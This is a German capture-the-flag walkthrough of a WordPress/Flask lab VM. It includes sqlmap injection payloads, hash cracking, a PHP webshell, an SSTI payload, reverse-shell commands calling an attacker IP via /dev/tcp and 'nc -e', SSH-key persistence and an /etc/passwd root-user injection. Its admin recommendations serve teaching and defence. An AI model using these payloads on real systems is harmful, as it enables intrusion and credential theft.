Analyse: Der `arp-scan -l`-Befehl wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu entdecken, indem ARP-Anfragen gesendet werden.
Bewertung: Ein Host mit der IP-Adresse 192.168.2.131 und der MAC-Adresse `08:00:27:ee:b3:42` (zugehörig zu PCS Systemtechnik GmbH, oft ein Indikator für VirtualBox) wird identifiziert. Dies ist unser potenzielles Ziel.
Empfehlung (Pentester): Notieren Sie die IP-Adresse 192.168.2.131. Führen Sie als Nächstes einen detaillierten Portscan (z.B. mit `nmap`) auf diese IP durch, um offene Dienste zu identifizieren.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung können helfen, die Sichtbarkeit von Hosts zu begrenzen. Implementieren Sie ggf. Maßnahmen gegen ARP-Scanning oder ARP-Spoofing.
192.168.2.131 08:00:27:ee:b3:42 PCS Systemtechnik GmbH
Analyse: `nmap` wird verwendet, um das Ziel (IP wurde hier zu 192.168.2.135 geändert, wichtig!) auf offene Ports und Dienste zu scannen.
-sC: Führt Standard-Skripte aus.-T5: Sehr schnelles Timing (potenziell ungenau/auffällig).-sS: SYN-Scan (Stealth).-A: Aktiviert OS/Versionserkennung, Skript-Scan, Traceroute.-p-: Scannt alle TCP-Ports.| grep open: Filtert die Ausgabe, um nur Zeilen mit offenen Ports anzuzeigen.Bewertung: Der Scan identifiziert zwei offene Ports:
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 gründlich (Verzeichnis-Enumeration, Schwachstellen-Scans). Halten Sie SSH als potenziellen Zugangspunkt im Auge, falls Zugangsdaten gefunden werden.
Empfehlung (Admin): Halten Sie SSH und Apache auf dem neuesten Stand. Konfigurieren Sie Apache sicher (z.B. unnötige Module deaktivieren, Informationslecks minimieren). Beschränken Sie den Zugriff auf die Dienste, wenn möglich.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver (Port 80) zu finden.
dir: Verzeichnis-/Datei-Modus.-u http://192.168.2.135: Ziel-URL.-w ...medium.txt: Mittelgroße Wortliste.-x ...: Zu testende Dateierweiterungen.-e: Erweiterte URL-Ausgabe.--wildcard: Wird verwendet, um Wildcard-Antworten zu erkennen (wenn der Server für nicht existierende Seiten immer mit 200 OK antwortet, anstatt 404).Bewertung: Der Scan identifiziert einen wichtigen Endpunkt: `http://192.168.2.135/wordpress/wp-json/wp/v2/users/`. Dies ist der REST-API-Endpunkt von WordPress, der standardmäßig Benutzerinformationen (Benutzernamen, Namen, IDs) preisgibt, wenn er nicht eingeschränkt ist. Die Erkennung von `/wordpress/` deutet stark auf eine WordPress-Installation hin.
Empfehlung (Pentester):
=============================================================== Gobuster v3.1.0 [...] =============================================================== [...] /wordpress (Status: 301) [Size: 324] [--> http://192.168.2.135/wordpress/] [...] http://192.168.2.135/wordpress/wp-json/wp/v2/users/ (Status: 200) [Size: XXX] (Größe hier geschätzt, da nicht in Ausgabe) [...] ===============================================================
Analyse: `wpscan`, ein spezialisierter WordPress-Sicherheitsscanner, wird auf die vermutete Login-Seite (`.../wp-login.php`) und dann auf das Hauptverzeichnis (`.../wordpress/`) mit aggressiver Plugin-Erkennung angewendet. Es wird ein API-Token verwendet, das über einen WordPress.com-Account bezogen wurde, um Zugriff auf aktuellere Schwachstelleninformationen zu erhalten.
Bewertung: Der Scan identifiziert zwei Plugins:
Empfehlung (Pentester):
[...] (Ausgabe zeigt Basisinformationen, evtl. Version)
[...] [i] Plugin(s) Identified: [+] akismet | Location: http://192.168.2.135/wordpress/wp-content/plugins/akismet/ | Last Updated: 2022-07-26T16:13:00.000Z | Readme: http://192.168.2.135/wordpress/wp-content/plugins/akismet/readme.txt | [!] The version is out of date, the latest version is 5.0 | | Found By: Known Locations (Aggressive Detection) | - http://192.168.2.135/wordpress/wp-content/plugins/akismet/, status: 200 | | Version: 4.1.9 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://192.168.2.135/wordpress/wp-content/plugins/akismet/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://192.168.2.135/wordpress/wp-content/plugins/akismet/readme.txt [+] cp-multi-view-calendar | Location: http://192.168.2.135/wordpress/wp-content/plugins/cp-multi-view-calendar/ | Latest Version: 1.4.06 | Last Updated: 2022-05-23T17:04:00.000Z | Readme: http://192.168.2.135/wordpress/wp-content/plugins/cp-multi-view-calendar/README.txt | [!] Directory listing is enabled | Found By: Known Locations (Aggressive Detection) | - http://192.168.2.135/wordpress/wp-content/plugins/cp-multi-view-calendar/, status: 200 | Confirmed By: Direct Access (Aggressive Detection) | - http://192.168.2.135/wordpress/wp-content/plugins/cp-multi-view-calendar/ [...]
Analyse: `searchsploit`, ein Kommandozeilentool zur Abfrage der Exploit-DB, wird verwendet, um nach bekannten Exploits für das Plugin `cp-multi-view-calendar` zu suchen. Anschließend wird `sqlmap`, ein automatisches SQL-Injection-Tool, auf eine URL angewendet, die offenbar als anfällig für SQL-Injection im Parameter `id` identifiziert wurde (vermutlich basierend auf den `searchsploit`-Ergebnissen oder manueller Prüfung). Die Optionen `--risk 3` und `--level 5` erhöhen die Gründlichkeit und Aggressivität der Tests. `--dbs` versucht, die Namen der verfügbaren Datenbanken aufzulisten. `--batch` akzeptiert Standardantworten für alle Abfragen.
Bewertung: `sqlmap` bestätigt die SQL-Injection-Schwachstelle im Parameter `id` der angegebenen URL. Es kann erfolgreich die Namen der Datenbanken extrahieren: `information_schema` (Standard-Metadatenbank) und `wordpress_db` (die Datenbank der WordPress-Installation). Dies ist ein kritischer Erfolg, der den Zugriff auf die WordPress-Daten ermöglicht.
Empfehlung (Pentester):
[Ausgabe von searchsploit, die wahrscheinlich auf SQLi hinweist - nicht im Text enthalten]
[...] parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of XXX HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=data_management&cpmvc_do_action=mvparse&f=edit&id=1 AND 6129=6129 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=data_management&cpmvc_do_action=mvparse&f=edit&id=1 AND (SELECT 8487 FROM (SELECT(SLEEP(5)))nJGU) --- available databases [2]: [*] information_schema [*] wordpress_db [...] sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=data_management&cpmvc_do_action=mvparse&f=edit&id=1 AND 6129=6129 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=data_management&cpmvc_do_action=mvparse&f=edit&id=1 AND (SELECT 8487 FROM (SELECT(SLEEP(5)))nJGU) --- available databases [2]: [*] information_schema [*] wordpress_db fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.135' sqlmap saved session to '/root/.local/share/sqlmap/output/192.168.2.135/session.sqlite' [*] ending @ ...
Analyse: `sqlmap` wird erneut ausgeführt, diesmal mit dem Ziel, den Inhalt der Tabelle `wp_users` aus der Datenbank `wordpress_db` zu extrahieren (`--dump`). Die Option `--dump-format html` wurde im Befehl angegeben, aber die Ausgabe sieht nach der Standard-Konsolenausgabe aus.
Bewertung: Der Befehl ist erfolgreich und extrahiert die Daten des WordPress-Benutzers. Ein Benutzer wird gefunden:
Empfehlung (Pentester): Versuchen Sie, den extrahierten Passwort-Hash `$P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr.` mit `hashcat` (Modus `-m 400`) und einer geeigneten Wortliste (z.B. `rockyou.txt`) zu knacken. Wenn erfolgreich, verwenden Sie die Zugangsdaten (`webmaster`:
Empfehlung (Admin): Erzwingen Sie starke Passwörter für alle WordPress-Benutzer. Verwenden Sie keine Standard-Benutzernamen wie `admin` oder `webmaster`. Sichern Sie die Datenbank gegen SQL-Injection ab (siehe vorherige Empfehlung).
[...]
[...] Database: wordpress_db Table: wp_users [1 entry] +----+-------------------------------+------------------------------------+---------------------+------------+-------------+--------------+---------------+---------------------+---------------------+ | ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key | +----+-------------------------------+------------------------------------+---------------------+------------+-------------+--------------+---------------+---------------------+---------------------+ | 1 | http://192.168.0.14/wordpress | $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr. | webmaster@gmail.com | webmaster | 0 | webmaster | webmaster | 2021-06-02 05:28:40 || +----+-------------------------------+------------------------------------+---------------------+------------+-------------+--------------+---------------+---------------------+---------------------+ [...]
Analyse: Der extrahierte WordPress-Passwort-Hash wird in eine Datei `hashcat.txt` geschrieben (via `vi`). Anschließend wird `hashcat` verwendet, um diesen Hash zu knacken.
-a 0: Wörterbuchangriff.-m 400: Hash-Modus für phpass (WordPress MD5 Portable Hash, $P$).hashcat.txt: Datei mit dem Hash./usr/share/wordlists/rockyou.txt: Wörterbuchdatei.Bewertung: Hashcat ist erfolgreich! Das Passwort für den Hash `$P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr.` wird als `sanitarium` identifiziert. Dies liefert die Zugangsdaten für den WordPress-Benutzer `webmaster`.
Empfehlung (Pentester): Melden Sie sich mit den Zugangsdaten `webmaster`:`sanitarium` im WordPress-Adminbereich unter `http://192.168.2.131/wordpress/wp-login.php` an. Suchen Sie nach Möglichkeiten, Code auszuführen (z.B. Theme/Plugin-Editor, Datei-Upload).
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter, die nicht in gängigen Wortlisten wie `rockyou.txt` vorkommen. Überwachen Sie fehlgeschlagene Login-Versuche.
# Inhalt von hashcat.txt: $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr.
hashcat (v6.2.5) starting...
[...]
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
[...]
$P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr.:sanitarium
Session..........: hashcat
Status...........: Cracked
Hash.Name........: phpass, WordPress (MD5), Joomla (MD5)
Hash.Target......: $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr.
Time.Started.....: [...]
Time.Estimated...: 0 secs
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#*.........: [...]
Recovered........: 1/1 (100.00%) Digests
Progress.........: [...]
Rejected.........: [...]
Restore.Point....: [...]
Restore.Sub.#*...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#*....: [...]
Hardware.Mon.#*..: [...]
Started: [...]
Stopped: [...]
Analyse: Nach dem erfolgreichen Knacken des Passworts wird der Plan formuliert, sich im WordPress-Adminbereich anzumelden. Anschließend wird der Inhalt der `404.php`-Datei des `twentynineteen`-Themes angezeigt. Diese Datei wurde offenbar über den WordPress-Adminbereich (Aussehen -> Theme-Datei-Editor) modifiziert.
Bewertung: Die `404.php`-Datei enthält nun am Anfang den PHP-Code: `system($GET['cmd']);`. Dies ist eine einfache Webshell/ein Backdoor. Jedes Mal, wenn eine nicht existierende Seite aufgerufen wird (was die 404.php auslöst), wird der Wert des GET-Parameters `cmd` als Systembefehl auf dem Server ausgeführt. Dies ist ein klassischer Weg, um nach Erlangung von Admin-Zugriff auf WordPress Codeausführung zu erreichen.
Empfehlung (Pentester):
Login-Versuch (Gedanklich): URL: http://192.168.2.131/wordpress/wp-login.php/ Username: webmaster Password: sanitarium --- Inhalt von 404.php (nach Modifikation) --- system($GET['cmd']); / The template for displaying 404 pages (not found) [Link: https://codex.wordpress.org/Creating_an_Error_404_Page | Ziel: https://codex.wordpress.org/Creating_an_Error_404_Page] @package WordPress @subpackage Twenty_Nineteen @since Twenty Nineteen 1.0 / get_header(); ?>get_footer();
Beispiel-URLs für Backdoor: http://192.168.2.131/wordpress/wp-content/themes/twentynineteen/404.php?cmd=ls http://192.168.2.131/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27
Analyse: Nachdem die Reverse Shell über die `404.php`-Backdoor erfolgreich etabliert wurde (dies wird hier angenommen, da der Prompt `www-data@ginger:...` zeigt), wird `sudo -l` ausgeführt, um die `sudo`-Berechtigungen des `www-data`-Benutzers zu überprüfen.
Bewertung: Der `www-data`-Benutzer hat die Berechtigung, den Befehl `/usr/bin/sl` (Steam Locomotive) als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD`) auszuführen. Dies ist eine ungewöhnliche, aber spezifische Berechtigung.
Empfehlung (Pentester): Diese `sudo`-Regel scheint auf den ersten Blick nicht direkt für Privilege Escalation nützlich zu sein, da `sl` selbst normalerweise keine Shell oder Dateimanipulation ermöglicht. Untersuchen Sie jedoch, ob `sl` ungewöhnliche Umgebungsvariablen interpretiert oder ob es in dieser spezifischen Version eine bekannte Schwachstelle gibt (unwahrscheinlich). Konzentrieren Sie sich auf andere Enumerationsschritte als `www-data`.
Empfehlung (Admin): Entfernen Sie unnötige `sudo`-Regeln. Es gibt selten einen legitimen Grund, `www-data` die Ausführung von `sl` mit `sudo` zu erlauben. Vergeben Sie `sudo`-Rechte nach dem Least Privilege Prinzip.
Matching Defaults entries for www-data on ginger:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on ginger:
(ALL : ALL) NOPASSWD: /usr/bin/sl
Analyse: Das Home-Verzeichnis (`/home`) wird aufgelistet, um die vorhandenen Benutzer-Home-Verzeichnisse zu sehen.
Bewertung: Es gibt Home-Verzeichnisse für `caroline`, `sabrina` und `webmaster`. Die Berechtigungen für `caroline` (`drwxr-xr--`) deuten darauf hin, dass `www-data` (als 'other') keinen Zugriff hat, während `webmaster` (als Besitzer) und die Gruppe `webmaster` (zu der `www-data` gehören könnte, aber unwahrscheinlich ist) Zugriff haben könnten. Die Gruppe für `caroline` ist `webmaster`. Das Verzeichnis von `sabrina` ist für `www-data` lesbar (`drwxr-xr-x`). Das Verzeichnis von `webmaster` ist nur für den Besitzer lesbar (`drwx------`).
Empfehlung (Pentester): Untersuchen Sie das `/home/sabrina`-Verzeichnis, da es für `www-data` lesbar ist. Suchen Sie dort nach interessanten Dateien, Skripten oder Hinweisen. Prüfen Sie, ob `www-data` zur Gruppe `webmaster` gehört (`id www-data`), um zu sehen, ob Zugriff auf `/home/caroline` möglich ist.
Empfehlung (Admin): Setzen Sie restriktive Berechtigungen für Home-Verzeichnisse (maximal `750` oder `700`), um den Zugriff durch andere Benutzer, einschließlich des Webserver-Benutzers, zu verhindern.
total 20 drwxr-xr-x 5 root root 4096 May 21 2021 . drwxr-xr-x 18 root root 4096 May 19 2021 .. drwxr-xr-- 5 caroline webmaster 4096 May 25 2021 caroline drwxr-xr-x 4 sabrina sabrina 4096 May 25 2021 sabrina drwx------ 4 webmaster webmaster 4096 May 25 2021 webmaster
Analyse: Die WordPress-Konfigurationsdatei `wp-config.php` wird ausgelesen, um die Datenbank-Zugangsdaten zu finden, die WordPress selbst verwendet.
Bewertung: Die Datei enthält die Zugangsdaten für den MySQL-Benutzer `wordpress_user` mit dem Passwort `greatpassword123!!!` für die Datenbank `wordpress_db`. Dies sind andere Zugangsdaten als die zuvor über SQL-Injection gefundenen (`webmaster`).
Empfehlung (Pentester): Notieren Sie diese Zugangsdaten. Versuchen Sie, ob dieses Passwort für andere Benutzer (z.B. `sabrina`, `caroline`, `root`) auf dem System wiederverwendet wurde (z.B. per SSH oder `su`). Überprüfen Sie die Berechtigungen des Datenbankbenutzers `wordpress_user` in der Datenbank.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Speichern Sie `wp-config.php` außerhalb des Web-Roots oder schützen Sie die Datei zumindest mit restriktiven Dateiberechtigungen (z.B. `400` oder `440`).
[...] define( 'DB_NAME', 'wordpress_db' ); /** MySQL database username */ define( 'DB_USER', 'wordpress_user' ); /** MySQL database password */ define( 'DB_PASSWORD', 'greatpassword123!!!' ); [...]
Analyse: Die `sudo`-Berechtigung für `www-data` wird genutzt, um `/usr/bin/sl` auszuführen. Danach werden Dateien im Home-Verzeichnis von `sabrina` untersucht: Auflistung, `strings` auf eine Bilddatei und Auslesen einer Textdatei.
Bewertung: Das Ausführen von `sudo sl` hat keinen offensichtlichen Effekt. `strings image.jpg` liefert keine sichtbare Ausgabe (oder sie wurde weggelassen). Die Datei `password.txt` enthält einen Hinweis, dass das Passwort für `sabrina` irgendwo im Format `sabrina:password` notiert wurde.
Empfehlung (Pentester): Der Hinweis in `password.txt` ist wichtig. Suchen Sie nach Dateien oder Ausgaben, die diesem Format entsprechen. Da `strings` nichts ergab, prüfen Sie andere potenzielle Speicherorte für Passwörter oder Notizen im Home-Verzeichnis von `sabrina` oder im System (z.B. Prozessspeicher, Logdateien, Kernel-Meldungen mit `dmesg`).
Empfehlung (Admin): Schulen Sie Benutzer darin, Passwörter niemals unsicher zu speichern. Verwenden Sie Passwort-Manager. Entfernen Sie unnötige Hinweise oder Dateien.
[Ausgabe von sl - die Dampflokomotive]
[Datei-Listing von /home/sabrina]
[Keine relevante Ausgabe im Text]
I forgot my password again... I wrote it down somewhere in this form: sabrina:password but I don't know where... I have to search in my memory
Analyse: Der Befehl `dmesg` zeigt die Kernel-Ringpuffer-Meldungen an. Diese Ausgabe wird mit `grep` nach der Zeichenkette "pass" durchsucht, um Hinweise auf Passwörter zu finden, die möglicherweise während des Bootvorgangs oder von Treibern/Modulen protokolliert wurden.
Bewertung: Ein Volltreffer! `dmesg` enthält die Zeile `sabrina:dontforgetyourpasswordbitch`. Dies entspricht exakt dem Hinweisformat aus `password.txt` und enthüllt das Passwort für den Benutzer `sabrina`.
Empfehlung (Pentester): Verwenden Sie das gefundene Passwort (`dontforgetyourpasswordbitch`), um sich als Benutzer `sabrina` per SSH anzumelden (`ssh sabrina@192.168.2.135`). Dies ermöglicht einen Wechsel vom `www-data`-Kontext zu einem echten Benutzerkonto.
Empfehlung (Admin): Passwörter oder sensible Informationen sollten niemals in Kernel-Meldungen oder Systemprotokollen erscheinen. Überprüfen Sie den Quellcode oder die Konfiguration der Komponente, die diese Meldung verursacht hat, und beheben Sie das Problem. Bereinigen Sie vorhandene Logs oder den `dmesg`-Puffer, wenn möglich.
[ 0.607106] x86/mm: Checked W+X mappings: passed, no W+X pages found.
[ 3.461684] [drm] Cursor bypass 2.
[ 6.922812] sabrina:dontforgetyourpasswordbitch
Analyse: Nach der Entdeckung des Passworts für `sabrina` wird versucht, sich per SSH als dieser Benutzer anzumelden.
Bewertung: Der Login ist erfolgreich (impliziert, da der Prompt zu `sabrina@ginger:~$` wechselt). Dies stellt einen erfolgreichen Lateral-Movement-Schritt dar, weg vom eingeschränkten `www-data`-Benutzer hin zu einem Benutzer mit einem Home-Verzeichnis und potenziell anderen Berechtigungen.
Empfehlung (Pentester): Führen Sie nun Enumerationsschritte als Benutzer `sabrina` durch:
Password: (Passwort 'dontforgetyourpasswordbitch' eingegeben) [...] (Login Banner) sabrina@ginger:~$
Analyse: Als Benutzer `sabrina` werden die `sudo`-Rechte überprüft. Anschließend wird der erlaubte `sudo`-Befehl ausgeführt: `sudo -u webmaster /usr/bin/python /opt/app.py`. Dies startet das Python-Skript `/opt/app.py` als Benutzer `webmaster`.
Bewertung: `sabrina` darf das Python-Skript `/opt/app.py` als Benutzer `webmaster` ohne Passwort ausführen. Das Skript startet eine Flask-Webanwendung im Debug-Modus auf `127.0.0.1:5000`. Der Debug-Modus von Flask ist extrem gefährlich, da er oft eine interaktive Debugging-Konsole im Browser ermöglicht, die zur Ausführung beliebigen Python-Codes (und damit Systembefehlen) im Kontext des ausführenden Benutzers (`webmaster`) missbraucht werden kann. Der angezeigte Debugger-PIN ist für den Zugriff auf diese Konsole erforderlich.
Empfehlung (Pentester):
Matching Defaults entries for sabrina on ginger:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sabrina may run the following commands on ginger:
(webmaster) NOPASSWD: /usr/bin/python /opt/app.py
* Serving Flask app "app" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: on * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) * Restarting with stat * Debugger is active! * Debugger PIN: 323-580-316
Analyse: Eine SSH-Portweiterleitung wird eingerichtet (`ssh -L 5000:localhost:5000 ...`), um den lokalen Flask-Dienst vom Angreifer-System aus zu erreichen. Anschließend werden verschiedene URLs gezeigt, die im Browser aufgerufen werden (via `127.0.0.1:5000`). Diese URLs demonstrieren eine Server-Side Template Injection (SSTI)-Schwachstelle im `name`-Parameter der Flask-Anwendung.
Bewertung: Die Flask-Anwendung ist anfällig für SSTI.
Empfehlung (Pentester):
[SSH-Verbindung wird aufgebaut]
Browser-Aufrufe (SSTI-Exploitation): http://127.0.0.1:5000/ http://127.0.0.1:5000/?name=ben http://127.0.0.1:5000/?name={{233233}} # Führt 'id' aus und zeigt die Ausgabe auf der Webseite an: http://127.0.0.1:5000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D # Startet eine Reverse Shell zu 192.168.2.140:1234: http://127.0.0.1:5000/?name={{request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27nc%20192.168.2.140%201234%20-e%20/bin/bash%27).read()}}
Analyse: Diese Befehle werden im Kontext des `webmaster`-Benutzers ausgeführt (wahrscheinlich über die durch SSTI erlangte Shell). Ein Reverse-Shell-Skript wird in `/tmp/backup.sh` erstellt. Anschließend wird versucht, eine vorhandene `backup/backup.sh`-Datei im Home-Verzeichnis von `caroline` zu löschen und die neue Version dorthin zu kopieren. Der `rm`-Befehl fragt nach Bestätigung, da die Datei schreibgeschützt ist.
Bewertung: Der Plan ist, ein Skript im Home-Verzeichnis von `caroline` zu überschreiben, das vermutlich regelmäßig (z.B. per Cronjob oder bei Login) von `caroline` ausgeführt wird. Da `webmaster` zur Gruppe `webmaster` gehört und `/home/caroline` der Gruppe `webmaster` gehört und Gruppen-Schreibrechte hat (`drwxr-xr--` ist falsch, es müsste `drwxrwx---` oder `drwxrwxr-x` sein - Annahme: Schreibrechte für Gruppe `webmaster` existieren auf `backup`), kann `webmaster` die Datei manipulieren. Wenn `caroline` dieses Skript ausführt, erhält der Angreifer eine Shell als `caroline`.
Empfehlung (Pentester):
rm: remove write-protected regular file 'backup/backup.sh'? yes
Analyse: Der Netcat-Listener auf Port 1234 empfängt eine Verbindung vom Zielsystem. Die `id` und `pwd` Befehle werden ausgeführt, und die `user.txt` wird gelesen.
Bewertung: Der Exploit war erfolgreich. Das manipulierte `backup.sh`-Skript wurde vom Benutzer `caroline` ausgeführt, was zu einer Reverse Shell als `caroline` (UID 1002) führte. Die User-Flag `f65aaadaeeb04adaccba45d7babf5f8c` wird aus `/home/caroline/user.txt` ausgelesen.
Empfehlung (Pentester):
listening on [any] 1234 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.131] 54698 $ id uid=1002(caroline) gid=1002(caroline) groups=1002(caroline) $ pwd /home/caroline $ cat user.txt f65aaadaeeb04adaccba45d7babf5f8c
Analyse: Der Text bricht hier kurz ab ("abgebrochen..."). Danach wird gezeigt, wie der öffentliche SSH-Schlüssel des Angreifers in die Datei `authorized_keys` des `caroline`-Benutzers geschrieben wird. Dies geschieht in der zuvor erhaltenen `caroline`-Shell (die mit `python3 -c 'import pty...'` stabilisiert und mit `export TERM=xterm` verbessert wurde).
Bewertung: Dies ist eine Methode, um persistenten Zugriff als Benutzer `caroline` zu erlangen. Statt sich auf die Reverse Shell zu verlassen, kann sich der Angreifer nun direkt per SSH mit seinem privaten Schlüssel als `caroline` anmelden. Der anschließende SSH-Login vom Angreifer-System bestätigt, dass dies funktioniert.
Empfehlung (Pentester): Nutzen Sie die stabilere SSH-Verbindung für die weitere Enumeration als `caroline`.
Empfehlung (Admin): Überwachen Sie Änderungen an `.ssh/authorized_keys`-Dateien. Beschränken Sie den SSH-Zugriff auf notwendige Benutzer und verwenden Sie nach Möglichkeit sicherere Authentifizierungsmethoden (z.B. 2FA).
[... Shell wird stabilisiert ...]
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben) Linux ginger 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. caroline@ginger:~$
Analyse: Als Benutzer `caroline` wird zuerst mit `openssl passwd -1` ein Passwort-Hash für das Passwort "ben" erzeugt (dieser Schritt scheint nicht direkt für den Exploit verwendet zu werden, möglicherweise eine Vorbereitung oder ein Test). Dann wird der Befehl `sudo /srv/code &` im Hintergrund gestartet. Unmittelbar danach wird versucht, eine Zeile zur Datei `/etc/passwd` hinzuzufügen. Diese Zeile definiert einen neuen Benutzer `hacker` mit UID 0 (Root), GID 0, Home-Verzeichnis `/root`, Shell `/bin/bash` und einem Passwort-Hash (`$1$KZwfflz5$3poJyobFRzKWbLrS8J7N0.`, der MD5-Crypt-Hash für "ben"). Schließlich wird mit `su hacker` versucht, zu diesem neuen Benutzer zu wechseln, wobei das Passwort `ben` eingegeben wird. Nach erfolgreichem Wechsel wird die Root-Flag gelesen.
Bewertung: Die finale Rechteausweitung auf Root ist erfolgreich! Der Schlüssel ist der Befehl `sudo /srv/code &`. Es wird angenommen, dass dieser Befehl (den `caroline` offenbar per `sudo` ausführen darf - `sudo -l` Ausgabe fehlt hier aber!) für kurze Zeit (ca. 5 Sekunden laut Text) die Datei `/etc/passwd` schreibbar macht. Der `echo ... >> /etc/passwd`-Befehl nutzt dieses kurze Zeitfenster, um den Root-Benutzer `hacker` hinzuzufügen. Der anschließende `su hacker`-Befehl mit dem Passwort `ben` funktioniert, weil der entsprechende Hash in `/etc/passwd` steht und der Benutzer UID 0 hat. Die Root-Flag `ae426c9d237d676044e5cd8e8af9ef7f` wird gelesen.
Empfehlung (Pentester):
Password: (Passwort 'ben' eingegeben) Verifying - Password: (Passwort 'ben' erneut eingegeben) $1$KZwfflz5$3poJyobFRzKWbLrS8J7N0.(Hash für 'ben')
[1] 1113
Password: (Passwort 'ben' eingegeben)
uid=0(root) gid=0(root) groups=0(root)
ae426c9d237d676044e5cd8e8af9ef7f